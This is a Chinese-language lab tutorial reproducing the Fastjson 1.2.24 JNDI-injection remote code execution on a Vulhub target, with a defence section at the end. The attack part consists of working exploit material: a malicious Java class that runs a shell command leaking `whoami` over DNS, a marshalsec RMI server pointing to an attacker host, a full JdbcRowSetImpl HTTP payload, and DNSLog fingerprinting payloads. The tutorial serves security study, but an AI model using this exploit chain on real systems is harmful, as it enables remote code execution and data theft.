Fastjson1.2.24漏洞复现详细过程
字数 928 2025-08-15 21:31:23

Fastjson 1.2.24 反序列化漏洞复现教程

一、漏洞概述

Fastjson 1.2.24 版本存在反序列化漏洞,攻击者可以通过构造恶意的JSON数据,利用JNDI注入实现远程代码执行(RCE)。该漏洞主要由于Fastjson在反序列化时未对输入进行充分验证,导致可以加载任意类并执行其中的代码。

二、环境准备

1. 靶场环境搭建

使用Vulhub提供的Fastjson漏洞环境:

docker-compose up -d

此命令会启动一个监听8090端口的Fastjson服务,假设目标IP为1.1.1.1。

2. JDK安装

下载并安装JDK 8:

mkdir /opt/java
tar zxvf jdk-8u251-linux-x64.tar.gz -C /opt/java

配置环境变量(编辑/etc/profile文件):

export JAVA_HOME=/opt/java/jdk1.8.0_251
export JRE_HOME=/opt/java/jdk1.8.0_251
export CLASSPATH=.:${JAVA_HOME}/lib:${JRE_HOME}/lib
export PATH=${PATH}:${JAVA_HOME}/bin:${JRE_HOME}/bin

使配置生效:

source /etc/profile

验证安装:

java -version

3. Maven安装

下载并安装Maven:

wget https://mirrors.bfsu.edu.cn/apache/maven/maven-3/3.6.3/binaries/apache-maven-3.6.3-bin.tar.gz
mkdir /opt/maven
tar zxvf apache-maven-3.6.3-bin.tar.gz -C /opt/maven/

配置环境变量(编辑/etc/profile文件):

export MAVEN_HOME=/opt/maven/apache-maven-3.6.3
export PATH=$MAVEN_HOME/bin:$PATH

验证安装:

mvn -version

三、漏洞复现步骤

1. 创建恶意类文件

创建dnslog.java文件:

import java.lang.Runtime;
import java.lang.Process;

public class dnslog{
    static {
        try {
            Runtime rt = Runtime.getRuntime();
            String[] commands = { "/bin/sh", "-c", "ping user.`whoami`.dnslog" };
            Process pc = rt.exec(commands);
            pc.waitFor();
        } catch (Exception e) {
            // do nothing
        }
    }
}

编译生成dnslog.class

javac dnslog.java

2. 启动HTTP服务

在当前目录启动HTTP服务(端口4567):

python -m SimpleHTTPServer 4567

3. 搭建RMI服务

下载并编译marshalsec项目:

git clone https://github.com/mbechler/marshalsec.git
cd marshalsec/
mvn clean package -DskipTests

启动RMI服务(监听9999端口):

cd target/
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://2.2.2.2:4567/#dnslog" 9999

4. 构造并发送Payload

使用Burp Suite构造并发送以下请求:

POST / HTTP/1.1
Host: 1.1.1.1:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 160

{
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://2.2.2.2:9999/dnslog",
        "autoCommit":true
    }
}

5. 验证漏洞利用

成功利用后,可以在以下三处查看执行情况:

  1. RMI服务端日志
  2. Python HTTP服务日志
  3. DNSLog平台(应能看到执行结果)

四、Fastjson指纹识别

1. 返回包特征

发送不闭合花括号的POST请求,返回包中通常会出现"fastjson"字样。

2. DNSLog盲打

构造以下Payload进行探测:

{
    "@type":"java.net.InetSocketAddress"{"address":,"val":"dnslog.example.com"}
}

或:

["@Type":"Java.Net.InetSocketAddress"{"address":,"Val":"dnslog.example.com"}}]

五、常见问题排查

  1. JDK环境问题:如果出现编译错误,可能是JDK环境不完整,需重新安装完整JDK
  2. 端口占用:检查RMI服务端口(9999)和HTTP服务端口(4567)是否被占用
  3. 防火墙拦截:确保相关端口未被防火墙拦截
  4. DNSLog无响应:可能是命令未执行成功或DNSLog平台问题

六、防护建议

  1. 升级Fastjson到最新安全版本
  2. 使用安全配置关闭autotype功能
  3. 对输入进行严格过滤和验证
  4. 限制网络访问,特别是出站连接
Fastjson 1.2.24 反序列化漏洞复现教程 一、漏洞概述 Fastjson 1.2.24 版本存在反序列化漏洞,攻击者可以通过构造恶意的JSON数据,利用JNDI注入实现远程代码执行(RCE)。该漏洞主要由于Fastjson在反序列化时未对输入进行充分验证,导致可以加载任意类并执行其中的代码。 二、环境准备 1. 靶场环境搭建 使用Vulhub提供的Fastjson漏洞环境: 此命令会启动一个监听8090端口的Fastjson服务,假设目标IP为1.1.1.1。 2. JDK安装 下载并安装JDK 8: 配置环境变量(编辑 /etc/profile 文件): 使配置生效: 验证安装: 3. Maven安装 下载并安装Maven: 配置环境变量(编辑 /etc/profile 文件): 验证安装: 三、漏洞复现步骤 1. 创建恶意类文件 创建 dnslog.java 文件: 编译生成 dnslog.class : 2. 启动HTTP服务 在当前目录启动HTTP服务(端口4567): 3. 搭建RMI服务 下载并编译marshalsec项目: 启动RMI服务(监听9999端口): 4. 构造并发送Payload 使用Burp Suite构造并发送以下请求: 5. 验证漏洞利用 成功利用后,可以在以下三处查看执行情况: RMI服务端日志 Python HTTP服务日志 DNSLog平台(应能看到执行结果) 四、Fastjson指纹识别 1. 返回包特征 发送不闭合花括号的POST请求,返回包中通常会出现"fastjson"字样。 2. DNSLog盲打 构造以下Payload进行探测: 或: 五、常见问题排查 JDK环境问题 :如果出现编译错误,可能是JDK环境不完整,需重新安装完整JDK 端口占用 :检查RMI服务端口(9999)和HTTP服务端口(4567)是否被占用 防火墙拦截 :确保相关端口未被防火墙拦截 DNSLog无响应 :可能是命令未执行成功或DNSLog平台问题 六、防护建议 升级Fastjson到最新安全版本 使用安全配置关闭autotype功能 对输入进行严格过滤和验证 限制网络访问,特别是出站连接